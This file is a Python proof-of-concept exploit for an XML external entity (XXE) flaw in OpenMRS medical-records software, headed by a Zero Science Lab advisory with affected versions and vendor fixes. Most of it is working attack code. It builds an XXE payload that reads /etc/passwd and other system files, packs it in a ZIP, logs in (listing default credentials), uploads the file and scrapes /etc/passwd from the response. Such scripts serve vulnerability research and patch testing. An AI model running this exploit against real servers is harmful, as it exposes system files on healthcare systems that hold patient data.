#!/usr/bin/env python
#
# OpenMRS 2.3 (1.11.4) XML External Entity (XXE) Processing PoC Exploit
#
#
# Vendor: OpenMRS Inc.
# Product web page: http://www.openmrs.org
# Affected version: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0)
# OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b))
#
# Summary: OpenMRS is an application which enables design of a customized medical
# records system with no programming knowledge (although medical and systems analysis
# knowledge is required). It is a common framework upon which medical informatics
# efforts in developing countries can be built.
#
# Desc: The vulnerability is caused due to an error when parsing XML entities within
# ZIP archives and can be exploited to e.g. disclose data from local resources or cause
# a DoS condition (billion laughs) via a specially crafted XML file including external
# entity references.
#
#
# Tested on: Ubuntu 12.04.5 LTS
# Apache Tomcat/7.0.26
# Apache Tomcat/6.0.36
# Apache Coyote/1.1
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2015-5289
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5289.php
#
# Affected: OpenMRS Core, Serialization.Xstream module, Metadata Sharing module
# Severity: Major
# Exploit: Remote Code Execution by an authenticated user
#
# Vendor Bug Fixes:
#
# Disabled serialization and deserialization of dynamic proxies
# Disabled deserialization of external entities in XML files
# Disabled spring's Expression Language support
#
# https://talk.openmrs.org/t/openmrs-security-advisories-2015-11-30/3868
# https://talk.openmrs.org/t/critical-security-advisory-2015-11-25/3824
# https://wiki.openmrs.org/display/RES/Release+Notes+2.3.1
# http://openmrs.org/2015/12/reference-application-2-3-1-released/
# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.9.10
# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.10.3
# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.11.5
# https://modules.openmrs.org/modulus/api/releases/1308/download/serialization.xstream-0.2.10.omod
# https://modules.openmrs.org/modulus/api/releases/1309/download/metadatasharing-1.1.10.omod
# https://modules.openmrs.org/modulus/api/releases/1303/download/reporting-0.9.8.1.omod
#
# OpenMRS platform has been upgraded to version 1.11.5
# Reporting module has been upgraded to version 0.9.8.1
# Metadata sharing module has been upgraded to version 1.1.10
# Serialization.xstream module has been upgraded to version 0.2.10
#
# Who is affected?
#
# Anyone running OpenMRS Platform (1.9.0 and later)
# Anyone running OpenMRS Reference Application 2.0, 2.1, 2.2, 2.3
# Anyone that has installed the serialization.xstream module except for the newly released 0.2.10 version.
# Anyone that has installed the metadatasharing module except for the newly released 1.1.10 version.
#
#
# 02.11.2015
#
import itertools, mimetools, mimetypes
import cookielib, urllib, urllib2, sys
import time, datetime, re, zipfile, os
import binascii
from urllib2 import URLError
global bindata
piton = os.path.basename(sys.argv[0])
def bannerche():
print '''
@-------------------------------------------------@
| |
| OpenMRS 2.3 Authenticated XXE Exploit |
| ID: ZSL-2015-5289 |
| Copyleft (c) 2015, Zero Science Lab |
| |
@-------------------------------------------------@
'''
if len(sys.argv) < 4:
print '\n[+] Usage: '+piton+' <host> <port> <path> \n'
print '[+] Example: '+piton+' uat05.zeroscience.mk 8080 openmrs\n'
sys.exit()
bannerche()
print '[+] Date: '+str(datetime.date.today())
payload = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ZSL [
<!ENTITY xxe1 SYSTEM "file:////etc/passwd" >
<!ENTITY xxe2 SYSTEM "file:///etc/resolv.conf" >
<!ENTITY xxe3 SYSTEM "file:///etc/issue" >]>
<package id="1" uuid="eecb64f8-35b0-412b-acda-3d83edf4ee63">
<dateCreated id="2">2015-11-06 10:47:19</dateCreated>
<name>&xxe1;</name>
<description>&xxe2;</description>
<openmrsVersion>&xxe3;</openmrsVersion>
<version>1</version>
</package>'''
print '[+] Creating header.xml file.'
file = open('header.xml', 'w')
file.write(payload)
file.close()
time.sleep(1)
print '[+] Packing evil XML file.'
with zipfile.ZipFile('xxe.zip', 'w') as devzip:
devzip.write('header.xml')
os.remove('header.xml')
print '[+] XML file vacuumed.'
time.sleep(1)
filename = 'xxe.zip'
with open(filename, 'rb') as f:
content = f.read()
hexo = binascii.hexlify(content)
bindata = binascii.unhexlify(hexo)
print '[+] File xxe.zip successfully created!'
print '[+] Initialising communication.'
host = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
print '[+] Probing target http://'+host+':'+port+'/'+path+'/'
try:
checkhost = opener.open('http://'+host+':'+port+'/'+path+'/login.htm')
hostresp = checkhost.read()
except urllib2.HTTPError, errorzio:
if errorzio.code == 404:
print '[+] Error:'
print '[+] Check your path entry!'
print
sys.exit()
except URLError, errorziocvaj:
if errorziocvaj.reason:
print '[+] Error:'
print '[+] Check your hostname entry!'
print
sys.exit()
print '[+] Target seems OK.'
print '[+] Login please:'
print '''
Username: doctor nurse clerk sysadmin admin scheduler
Password: Doctor123 Nurse123 Clerk123 Sysadmin123 Admin123 Scheduler123
'''
username = raw_input('[*] Enter username: ')
password = raw_input('[*] Enter password: ')
login_data = urllib.urlencode({
'username' : username,
'password' : password,
'sessionLocation' : '3',
'redirectUrl' : '/'+path+'/module/metadatasharing/import/list.form'
})
login = opener.open('http://'+host+':'+port+'/'+path+'/login.htm', login_data)
auth = login.read()
for session in cj:
sessid = session.name
print '[+] Mapping session ID.'
ses_chk = re.search(r'%s=w+' % sessid , str(cj))
cookie = ses_chk.group(0)
print '[+] Cookie: '+cookie
if re.search(r'Invalid username/password. Please try again', auth):
print '[+] Incorrect username or password.'
print
sys.exit()
else:
print '[+] Authenticated!'
opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/list.form')
print '[+] Sending payload.'
class MultiPartForm(object):
def __init__(self):
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
return
def get_content_type(self):
return 'multipart/form-data; boundary=%s' % self.boundary
def add_field(self, name, value):
self.form_fields.append((name, value))
return
def add_file(self, fieldname, filename, fileHandle, mimetype=None):
body = fileHandle.read()
if mimetype is None:
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
self.files.append((fieldname, filename, mimetype, body))
return
def __str__(self):
parts = []
part_boundary = '--' + self.boundary
parts.extend(
[ part_boundary,
'Content-Disposition: form-data; name="%s"' % name,
'',
value,
]
for name, value in self.form_fields
)
parts.extend(
[ part_boundary,
'Content-Disposition: file; name="%s"; filename="%s"' %
(field_name, filename),
'Content-Type: %s' % content_type,
'',
body,
]
for field_name, filename, content_type, body in self.files
)
flattened = list(itertools.chain(*parts))
flattened.append('--' + self.boundary + '--')
flattened.append('')
return '\r\n'.join(flattened)
if __name__ == '__main__':
form = MultiPartForm()
form.add_field('file"; filename="xxe.zip', bindata)
form.add_field('url', '')
request = urllib2.Request('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form')
request.add_header('User-agent', 'joxypoxy 6.5')
body = str(form)
request.add_header('Origin', 'http://'+host+':'+port)
request.add_header('Accept-Encoding', 'gzip, deflate')
request.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')
request.add_header('Accept-Language', 'en-US,en;q=0.8')
request.add_header('Cache-Control', 'max-age=0')
request.add_header('Upgrade-Insecure-Requests', '1')
request.add_header('Referer', 'http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form')
request.add_header('Content-type', form.get_content_type())
request.add_header('Cookie', cookie)
request.add_header('Content-length', len(body))
request.add_data(body)
request.get_data()
urllib2.urlopen(request).read()
time.sleep(1)
print '[+] Retrieving /etc/passwd:'
time.sleep(2)
getinfo = opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/validate.form')
readinfo = getinfo.read()
striphtml = re.sub("<.*?>", "", readinfo)
match = re.search(r'root:.*/bin/bash', striphtml, re.DOTALL)
print '\n--------------------------------------------------------'
print match.group(0)
print '--------------------------------------------------------'
sys.exit()